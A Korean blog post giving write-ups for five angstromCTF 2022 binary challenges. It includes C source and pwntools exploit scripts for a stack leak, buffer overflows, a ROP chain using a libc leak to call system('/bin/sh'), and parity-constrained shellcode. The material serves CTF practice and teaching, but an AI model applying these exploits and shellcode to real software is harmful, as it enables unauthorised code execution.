CTF/Write UPs

[angstromCTF 2022 : binary] 내가 푼 문제들 풀이 (ROP, 쉘코드...)

jir4vvit 2022. 5. 13. 00:03
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.7 pro
대회 정보 :
https://ctftime.org/event/1588 (angstromCTF 2022)

 

whatsmyname.c

더보기
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void generate_name(char *str)
{
    FILE *file = fopen("/dev/urandom","r");
	fgets(str, 48, file);
	fclose(file);
}

int main(){
    char yourName[48];
    char myName[48];
    
    char guess[48];

    setbuf(stdout, NULL);

    generate_name(myName);

    printf("Hi! What's your name? ");

    int n = read(0, yourName, 48);
    if (yourName[n-1] == '\n') yourName[n-1] = '\x00';

    printf("Nice to meet you, %s!\n", yourName);

    puts("Guess my name and you'll get a flag!");

    scanf("%48s[^\n]", guess);

    if (strncmp(myName, guess, 48) == 0){
        char flag[128];

		FILE *file = fopen("flag.txt","r");
		if (!file) {
		    puts("Error: missing flag.txt.");
		    exit(1);
		}

		fgets(flag, 128, file);
		puts(flag);
    }

    puts("Bye!");
    return 0;
}

사실 제대로 안보고 그냥 이것저것 하다가 릭이 되어서 그냥 풀었다.

from pwn import *

p = remote('challs.actf.co', 31223)
#p = process('./whatsmyname')

pause()
p.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil('you,')    
leak = p.recv(96)

print(leak[49:])

pause()
p.sendline(leak[49:])​

 

 

wah.c

더보기
#include <stdio.h>
#include <stdlib.h>

void flag(){
    char flag[128];
    
    FILE *file = fopen("flag.txt","r");
    if (!file) {
        puts("Error: missing flag.txt.");
        exit(1);
    }

    fgets(flag, 128, file);
    puts(flag);
}


int main(){
    setbuf(stdout, NULL);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    
    char cry[24];

    printf("Cry: ");

    gets(cry);
    return 0;
}

gets? 오버플로우. 그냥 하면 됨

from pwn import *

p = remote('challs.actf.co', 31224)
#p = process('./wah')
e = ELF('./wah')

flag = e.symbols['flag']
print(flag)


payload = ''
payload += 'A' * 32
payload += 'B' * 0x8
#payload += 'C' * 0x8
payload += p64(flag)
pause()
p.send(payload)


p.interactive()

 

@_@ 이거 너무 귀엽다. 왼쪽 꺼 누르면 바이너리 주고 오른쪽 꺼 누르면 libc 준다.

main

익스코드 보면.. 눈치챘겠지만 rop하면 된다.

그리고 main 코드에서 전역변수 counter가 0보다 크면 종료시키는데 (main으로 계속 돌지 말라고 나름대로 방지한 것 같다.) 하지만 우리에겐 천하무적 gets가 있으니 count에 0 써주고 main으로 리턴해서 하려던거 계속 할 수 있다.

(gets 전에 ++counter해서 다행)

from pwn import *

#p = process('./whereami')
p = remote('challs.actf.co', 31222)
e = ELF('./whereami')
libc = ELF('./libc.so.6')

pop_rdi = 0x0000000000401303
ret = 0x000000000040101a
count = 0x40406c

gets_got = e.got['gets']
gets_plt = e.plt['gets']
puts_plt = e.plt['puts']
main = e.symbols['main']
printf_plt = e.plt['printf']

oneshot = 0xe3b2e

payload = ''
payload += 'A' * 0x40 
payload += 'B' * 8
#payload += 'C' * 8
payload += p64(pop_rdi)
payload += p64(gets_got)
payload += p64(puts_plt)
payload += p64(pop_rdi)
payload += p64(count)
payload += p64(gets_plt)
payload += p64(ret)
payload += p64(main)

pause()
p.recvuntil('you?')

p.sendline(payload)
p.sendline(p32(0))
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('leak = ' + hex(leak))

oneshot_addr = leak - libc.symbols['gets'] + oneshot
log.info('libc base = ' +hex(leak-libc.symbols['gets']))
log.info('oneshot = ' +hex(oneshot_addr))

libc_base = leak-libc.symbols['gets']

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
log.info('system = ' + hex(system))
log.info('binsh = ' + hex(binsh))

payload = ''
payload += 'A' * 0x40
payload += 'B' * 8
#payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
#payload += p64(system-0x1)
payload += p64(system)

p.sendline(payload)


p.interactive()

 

이름 길다? 첫글자 따서 해석

이 문제는 ROP를 하면 된다.

하지만 문제 풀 때 printf에서 엄~~~~청 계~~~~~~~속 터졌다 ㅋㅋ ㅠㅠ 

 

그래서 살짝 꼼수 썼다. 

취약점은 gets로 인한 오버플로.

저기 음영친 곳 주소가 0x40129d이다. 저기로 뛰었음

from pwn import *

#p = process('./really_obnoxious_problem')
p = remote('challs.actf.co', 31225)
e = ELF('./really_obnoxious_problem')

ret = 0x000000000040101a

payload = ''
payload += 'A' * 0x40
payload += p64(e.bss()+0x100)
payload += p64(0x00000000040129D)

p.sendline('ZZZ')
pause()
p.sendline(payload)

p.interactive()

 

 

짝홀짝홀

쉘코드 실행시키기

이때 유의할 점은 syscall `0xf 0x5`은 홀홀 이기 때문에 쓸 수 없음

 

아이디어는.. read함수 호출시키고 쉘코드 입력으로 넣기

레지스터 조작해주면 된다.

nop  // 0x90.. 짝으로 시작
push r12 // 0x401110 스택으로 ㄱㄱ

pop rcx // 0x401110 rcx로 ㄱㄱ
xchg rax, rcx // rcx랑 rax 교환 (나중에 0x401110을 0x4010f0(read)로 만들어 줘야지)
pop rdx // 레지스터만 가지고 조물조물하다가 read 세번째 인자가 겁나 커서 자꾸 터졌음 ㅠ 그래서 스택에서 적당한 값 있길래 가져옴
dec eax * 0x20  // 0x401110 (start) - 0x4010f0 (read) = 0x20
call rax // read 호출~

from pwn import *

#context.log_level = 'debug'

#p = process('./parity')
p = remote('challs.actf.co', 31226)
e = ELF('./parity')

payload = ''
payload += '\x90\x41\x54\x59\x48\x91\x5A'
payload += '\xff\xc8' * 32
payload += '\xFF\xD0'

print(payload)
pause()

p.sendafter('>', payload)

sh = ''
sh += '\x90' * 0x100
sh += '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(sh)

p.interactive()